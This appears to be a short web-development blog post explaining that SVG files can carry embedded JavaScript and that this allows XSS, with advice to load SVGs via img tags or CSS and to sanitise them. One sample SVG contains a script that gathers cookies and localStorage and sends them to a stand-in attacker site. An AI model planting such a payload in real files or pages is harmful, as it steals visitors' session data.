JavaScript in SVGs

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SVGs are such an amazing tool for creating custom fonts, animations, size-reduced graphics, and more. They’re part HTML, part image, and all awesome. Many websites have moved toward SVG instead of JPG, GIF, and PNG due to the flexibility that SVG provides.

Whats one example of that flexibility? Did you know that you can embed JavaScript directly in your SVG files:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    alert("Hello world");
</script>
</svg>

That’s a cool feature but also a security issue if embedded on a page as-is. For example, if a user uploads an SVG to your website with the following code:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    //  BAD! Send the user's info to your website!
    const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
    document.location = "https://mybadsite.tld/stolenInfo=" + info;
</script>
</svg>

…they could steal cookies, storage, and other information via XSS. That’s a problem. One way to prevent this is stripping the JavaScript out of the SVG, but you could also embed as an <img> or as a background-image via CSS:

<img src="/path/to/image.svg" />

When you use <img> or background-image, JavaScript is prevented from executing, making the SVG relatively safe! You should, however, still be cleansing your SVGs of bad stuff!

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